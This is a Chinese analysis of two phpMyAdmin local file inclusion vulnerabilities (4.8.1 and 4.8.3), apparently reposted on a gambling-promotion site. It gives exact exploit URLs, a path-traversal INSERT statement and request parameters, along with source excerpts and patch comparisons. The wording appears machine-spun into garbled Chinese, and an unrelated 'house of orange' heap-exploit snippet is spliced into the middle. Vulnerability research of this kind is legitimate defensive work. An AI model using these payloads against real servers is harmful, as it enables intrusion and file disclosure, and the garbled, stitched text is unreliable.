phpMyAdmin 文件包括复现剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

phpMyAdmin 文件包括复现剖析

申博_新闻事件 申博 54次浏览 未收录 0个评论

媒介

周末剖析了两处旧版本中 phpMyAdmin 的文件包括破绽,分享一下。

4.8.1 文件包括破绽

破绽剖析

我们先来看看 payload

phpMyAdmin 文件包括复现剖析

payload:index.php?target=db_sql.php%253F/../../../../../../../../../../../../a.txt

我们能够看到是 index.phptarget 参数,在 index.php55 行摆布,我们能够看到这堆代码:

$target_blacklist = array (
    'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

这里就有我们的参数 target,有五个前提,我们一个一个剖析:

  1. target 不能为空
  2. target 是字符串范例
  3. target 不能以 index 开首
  4. target 不能是 $target_blacklist 里的值
  5. target 传入 Core::checkPageValidity,返回 true 则包括文件

能够发明前四条是很轻易过的,我们跟进末了一个函数 checkPageValidity 看看,这个函数的代码不长,完整的函数:

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        ...
    );

    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        // 推断 $whitelist 是不是为空,假如为空则取默许的一组
        if (empty($whitelist)) { // 当从 index.php 传进来时会进入这里
            $whitelist = self::$goto_whitelist;
        }

        if (! isset($page) || !is_string($page)) {
            return false;
        }

        // 推断 $page 是不是在白名单
        if (in_array($page, $whitelist)) {
            return true;
        }

        // 支解 $page 的参数,取 ? 前的文件名,推断是不是在白名单内
        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        // url 解码后实行和上一步雷同的操纵
        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

有三种返回 true 的体式格局,我们能够尝试组织一下 payload

举个例子,比方我们想包括 a.txt

  1. 当我们的 $pagea.txt 时,由于不在白名单内,page 中又没有参数(问号),所以会一向实行到末了,默许返回 false
  2. 白名单中第一项为 db_datadict.php,拿这个举例,我们传入 db_datadict.php?/../a.txt,由于照样不在白名单内,会实行到这里:
<?php
    $page = "db_datadict.php?/../a.txt";
    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    );
    var_dump($_page);
我们能够实行看看:

![](https://xzfile.aliyuncs.com/media/upload/picture/20190704095407-9c08849a-9dfe-1.png)

如许是能够的,返回 `True` 后带入 `include`,然则 `include` 似乎是不许可文件名带有问号的:

phpMyAdmin 文件包括复现剖析

  1. 那剖析第三种状况,就是:
$_page = urldecode($page);
$_page = mb_substr(
    $_page,
    0,
    mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
    return true;
}

这里有个很症结的点,就是 urldecode 了我们传进来的 $page,然后又猎取了问号前的文件名,所以我们把问号 url 编码一下都没题目,像如许:

db_datadict.php%3F/../a.txt

include 是许可 %3f 作为文件名的一部份的,实行起来:

phpMyAdmin 文件包括复现剖析

所以终究我们的 payloadindex.php?target=db_datadict.php%3F/../a.txt
然则由于浏览器还会解码一次,所以把 % 在编码一次,就有了一最先的:index.php?target=db_sql.php%253F/../../../../../../../../../../../../a.txt

补丁对照

我们能够看看他是怎样修复的:

phpMyAdmin 文件包括复现剖析

这里只加多加了两个参数,记着第三个参数是 true,看看函数内部:

phpMyAdmin 文件包括复现剖析

先推断 $page 是不是在白名单内,假如不在就往下实行,然后推断第三个参数 $include 是不是为 true,假如是的话就直接返回 false ,天然就实行不到 urldecode 了。

文件包括破绽2

上个破绽是 4.8.2 修复的,我又在网上发明一个 4.8.3 依旧有的破绽,然则没有详细的细节,剖析复现一下。

破绽复现

起首我们来复现一下这个破绽。

  1. 起首建立个数据库,这里就叫它 ceshi1 吧。

phpMyAdmin 文件包括复现剖析

  1. 接见 /chk_rel.php?fixall_pmadb=1&db=ceshi1

phpMyAdmin 文件包括复现剖析

接见后会发明 ceshi 多出了一些数据表。

  1. 插进去一条数据
INSERT INTO `pma__column_info`(`id`, `db_name`, `table_name`, `column_name`, `comment`, `mimetype`, `transformation`, `transformation_options`, `input_transformation`, `input_transformation_options`) VALUES (1,"2","3","4","5","6","7","8","../../../../../../../../a.txt","10");
  1. 接见 /tbl_replace.php?fields_name[multi_edit][abcd][]=4&where_clause[abcd]=junk&table=3&db=2

phpMyAdmin 文件包括复现剖析

破绽剖析

我们一步一步来剖析这个历程,第一步就不剖析了,建立个数据库。

剖析历程中会跳过许多可有可无的代码,会用 ... 替代

步骤一

我们起首接见了 /chk_rel.php?fixall_pmadb=1&db=ceshi1 这个链接,看看源码:

<?php
...
if (isset($_REQUEST['fixall_pmadb'])) {
    $relation->fixPmaTables($GLOBALS['db']);
}
...

这里的 GLOBALS['db'] 实在就是我们 GET 通报的。

跟进 fixPmaTables 函数。

public function fixPmaTables($db, $create = true)
{
    // 数据表的数组
    $tablesToFeatures = array(
        'pma__bookmark' => 'bookmarktable',
        'pma__relation' => 'relation',
        'pma__table_info' => 'table_info',
       ...
    );

    # 依据函数名 getTables 可得知应该是 猎取指定数据库的数据表
    $existingTables = $GLOBALS['dbi']->getTables($db, DatabaseInterface::CONNECT_CONTROL);


    foreach ($tablesToFeatures as $table => $feature) {
        if (! in_array($table, $existingTables)) { //推断表是不是存在于指定数据库中
            if ($create) { //函数的参数,默许是 true
                //建立数据表
                if ($createQueries == null) {
                    $createQueries = $this->getDefaultPmaTableNames();
                    $GLOBALS['dbi']->selectDb($db);
                }
                $GLOBALS['dbi']->tryQuery($createQueries[$table]);

                ...
            }
            ...
        }
        else{
            ...
        }
    }

    ...
    $GLOBALS['cfg']['Server']['pmadb'] = $db;
    $_SESSION['relation'][$GLOBALS['server']] = $this->checkRelationsParam();
    ...
}

上面部份是建立数据表,所以我们接见后才会多出一些数据表出来。

下面我零丁列出了两句话,这里是重点,我们跟进 checkRelationsParam 函数:

public function checkRelationsParam()
{
...
$cfgRelation = array();
...
$cfgRelation['db'] = $GLOBALS['cfg']['Server']['pmadb'];
...
return $cfgRelation;
}

我省略了大部份代码。。由于只有这三句是重点,这个函数返回数组后存进了 $_SESSION['relation'][$GLOBALS['server']] 中,这个值我们会在背面用到

步骤二

然后我们插进去了一条数据,能够先不必思索这条数据的寄义。

数据泉源

进入到末了一步,也就是破绽的触发点,再看看我们的 payload/tbl_replace.php?fields_name[multi_edit][abcd][]=4&where_clause[abcd]=junk&table=3&db=2

触发点在 tbl_replace.php,如今我们能够先看看触发位置,再一步步组织 payload,我的版本是 4.8.3,在这个 tbl_replace.php 中的第 224 行摆布,会有以下几行代码:

house of orange 破绽

对 house of orange 和 _IO_FILE 的总结。 house of orange 一个精心构造的组合,用到了unsorted bin attcked。 glibc-2.23之前 在glibc-2.23之前没有检查,之后的有_IO_vtable_check。 原理就是构造假的stdout,触发libc的abort,利用ab

$filename = 'libraries/classes/Plugins/Transformations/'
                . $mime_map[$column_name]['input_transformation'];
if (is_file($filename)) {
        include_once $filename;
        ...
}

这里有文件包括,先不论 $column_name,我们看看 $mime_map 是从那里来的,我们溯源上去就去发明:

$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);

前面我们提到过 $GLOBALS['db'] 我们能够经由过程通报 GET 掌握,table 实在也能够,也就是这两个参数我们都能够掌握,然后我们跟进 getMIME 这个函数。

public static function getMIME($db, $table, $strict = false, $fullName = false)
{
    $relation = new Relation();
    $cfgRelation = $relation->getRelationsParam();

    if (! $cfgRelation['mimework']) {
        return false;
    }

    $com_qry = '';
    ...
    $com_qry .= '`mimetype`,
                `transformation`,
                `transformation_options`,
                `input_transformation`,
                `input_transformation_options`
         FROM ' . Util::backquote($cfgRelation['db']) . '.'
        . Util::backquote($cfgRelation['column_info']) . '
         WHERE `db_name`    = \'' . $GLOBALS['dbi']->escapeString($db) . '\'
           AND `table_name` = \'' . $GLOBALS['dbi']->escapeString($table) . '\'
           AND ( `mimetype` != \'\'' . (!$strict ? '
              OR `transformation` != \'\'
              OR `transformation_options` != \'\'
              OR `input_transformation` != \'\'
              OR `input_transformation_options` != \'\'' : '') . ')';
    $result = $GLOBALS['dbi']->fetchResult(
        $com_qry, 'column_name', null, DatabaseInterface::CONNECT_CONTROL
    );

    foreach ($result as $column => $values) {
        ...

        $values['transformation'] = self::fixupMIME($values['transformation']);
        $values['transformation'] = $subdir . $values['transformation'];
        $result[$column] = $values;
    }

    return $result;
} // end of the 'getMIME()' function

这里最主要的就是一个查询语句 $com_qry,我们的 $db$table 参数仅仅是被带入了 where 前提,而不是查询的数据库和表

查询的数据库是 $cfgRelation['db'],也就是函数一个最先的:

$cfgRelation = $relation->getRelationsParam();

public function getRelationsParam()
{
    // 推断 $_SESSION['relation'][$GLOBALS['server']] 是不是为空,假如为空就赋值一次

    if (empty($_SESSION['relation'][$GLOBALS['server']])
        || (empty($_SESSION['relation'][$GLOBALS['server']]['PMA_VERSION']))
        || $_SESSION['relation'][$GLOBALS['server']]['PMA_VERSION'] != PMA_VERSION
    ) {
        $_SESSION['relation'][$GLOBALS['server']] = $this->checkRelationsParam();
    }

    $GLOBALS['cfgRelation'] = $_SESSION['relation'][$GLOBALS['server']];

    return $_SESSION['relation'][$GLOBALS['server']];
}

这里返回的值就是第一步了我们辛辛苦苦设置的。

所以当推断 $_SESSION['relation'][$GLOBALS['server']] 是不是为空时会返回 false,就不会进入 if
语句,也就不会从新赋值(一般状况下剩下两个推断能够疏忽)。

(这里申明一下为何要在第一步设置这个值:由于假如不在第一部设置,就会在这里进入 if 语句,但是从这里进去的话,db 的值就是 false 了,所以没法查询)

所以 sql 语句里的:

$cfgRelation['db'] = $_SESSION['relation'][$GLOBALS['server']]['db']

那末这个值就是我们方才设置的,也就是 ceshi1

回到 sql 语句,我们发明这个只是查询的数据库,数据表是:$cfgRelation['column_info'],然则这个数据表是有默许值的,即:pma__column_info ,这也是在第一步中设置的,所以我们不必锐意设置。

我们能够输出一下这个 sql 语句:

SELECT `column_name`, `mimetype`, `transformation`, `transformation_options`, `input_transformation`, `input_transformation_options` FROM `ceshi1`.`pma__column_info` WHERE `db_name` = '2' AND `table_name` = '3' AND ( `mimetype` != '' OR `transformation` != '' OR `transformation_options` != '' OR `input_transformation` != '' OR `input_transformation_options` != '')

where 语句中 db_nametable_name 是我们可控的,其他的值只需不为空,就可以查询出语句了。。

固然我们前面插进去了一条数据,目标就是为了在这里查询出来,由于是我们本身插进去的数据,所以是可控的。

paload 组织

再次回到 tpl_replace.php,我们看看谁人包括的 $filename

$filename = 'libraries/classes/Plugins/Transformations/'
                . $mime_map[$column_name]['input_transformation'];

这里的 $mime_map 是我们可控的值了,那末 $column_name 从哪来的呢?

list($loop_array, $using_key, $is_insert, $is_insertignore)
    = $insertEdit->getParamsForUpdateOrInsert();

foreach ($loop_array as $rownumber => $where_clause) {

    $multi_edit_columns_name
            = isset($_REQUEST['fields_name']['multi_edit'][$rownumber])
            ? $_REQUEST['fields_name']['multi_edit'][$rownumber]

    foreach ($multi_edit_columns_name as $key => $column_name) {
            ...

            // 推断不为空
            if (!empty($mime_map[$column_name])
                && !empty($mime_map[$column_name]['input_transformation'])
            ) {
                $filename = 'libraries/classes/Plugins/Transformations/'
                    . $mime_map[$column_name]['input_transformation'];
                if (is_file($filename)) {
                    include_once $filename;

这里比较绕,须要梳理一下。

  1. $column_name 来自 $multi_edit_columns_name 这个数组的值。
  2. $multi_edit_columns_name 来自 $_REQUEST['fields_name']['multi_edit'][$rownumber]
  3. $rownumber 来自 $loop_array 的键

我们想知道 $loop_array 来自那里,就得跟进 getParamsForUpdateOrInsert 函数,这个函数并不庞杂,跟进去看看:

public function getParamsForUpdateOrInsert()
{
    if (isset($_REQUEST['where_clause'])) {
        // we were editing something => use the WHERE clause
        $loop_array = is_array($_REQUEST['where_clause'])
            ? $_REQUEST['where_clause']
            : array($_REQUEST['where_clause']);
        ...
    } else {
      ...
    }
    return array($loop_array, $using_key, $is_insert, $is_insertignore);
}

没错,这个 $loop_array 也是我们完整可控的,来自 $_REQUEST['where_clause']

—–支解线,岑寂一下—-

再看看 $filename

$filename = 'libraries/classes/Plugins/Transformations/'
                . $mime_map[$column_name]['input_transformation'];

$mime_map 我们可控,是一个数组,从 pma__column_info 查询出来的。

$mime_map 中的键,就是表中的 column_name

回看我们方才插进去的数据中,column_name4,反推归去,所以:

所以我们要 $mime_map[4]['input_transformation'] (提示:$column_name$multi_edit_columns_name 猎取的

也就是说

$multi_edit_columns_name[0] = $_REQUEST['fields_name']['multi_edit'][$rownumber][0] = 4

这里也不一定如果 0 ,恣意都能够。(提示:$rownumber$loop_array 中猎取。

由于数组我们都可控,所以假定 $rownumberhaha 吧。

所以组织:$loop_array[haha] = $_REQUEST['where_clause'][haha] =恣意

—- 支解线岑寂一下 —-

我们终究的 payload

where_clause[haha]=any
fields_name[multi_edit][haha][]=4
table=3
db=2

带上这个参数接见 tpl_replace.php 就可以包括数据表中的 input_transformation,也就是我们插进去的谁人数据。

固然他还拼接上了一些途径,所以末了是:

libraries/classes/Plugins/Transformations/../../../../../../../../a.txt

补丁对照

在 4.8.4 的版本中我们发明发直接把这几行删掉了。。。。

phpMyAdmin 文件包括复现剖析


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明phpMyAdmin 文件包括复现剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址